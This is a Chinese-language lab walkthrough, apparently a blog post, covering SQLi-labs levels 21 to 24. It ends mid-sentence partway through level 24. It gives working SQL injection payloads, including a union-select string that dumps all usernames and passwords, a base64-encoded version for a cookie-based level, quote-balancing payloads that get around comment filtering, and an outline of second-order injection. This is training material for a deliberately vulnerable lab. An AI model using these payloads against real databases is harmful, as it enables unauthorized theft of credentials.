SQli-labs 进阶 21-38关

SQli-labs 进阶 21-38关

LESS-21

拼接方式:id=('$id')

21关和20关本质上没有区别,但是是使用base64进行了编码。

使用burp进行抓包

可以很明显看到,uname值为一串编码,利用burp自带的编码工具进行解码。

%3D是=的url值,所以进行解码时候应该化为=号再带入。

解码出来的值为admin,所以我们只需要将我们原本的注入代码化为base64就可以了。

原代码
-admin') union select 1,(select group_concat(username) from users),(select group_concat(password) from users)#
------------------------------------------------
base64
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gdXNlcnMpLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzKSM=

LESS-22

拼接方式:id="$Id"

除此之外无变化


LESS-23

拼接方式:id='$id'

代码审计

过滤掉了#和--,所以无法使用注释符。

这里使用

1' union select 1,2,3'

去过滤掉单引号。

在代码中读取会变成

id='1' union select 1,2,3 '' limit 0,1

由于结尾不是注释,就无法使用order by去测试列数(因为orderby只能存在句尾)。

此处用union 1,2,3去测试数据库

测试出列数为3列数据

?id=-1' union select 1,2,3'

修改后爆出回显地址为2,3

通过2,3位子可以爆出账号密码。

使用联合注入

?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)'


LESS-24

点击界面,发现和之前的注入都不同,此处发现

左下角点击遗忘密码后,他让我们自信黑进去。右边还有一个增加一个新账号。

注册账号后登录,发现界面为修改密码。

确认页面信息后。我们确认有新增点,有登录修改,很明显的二次注入

二次注入:简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。

这里假设不知道CSW的密码,那么我们就新增一个账号CSW'#那么此时修改密码匹配到的就是

猜测代码
username=
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值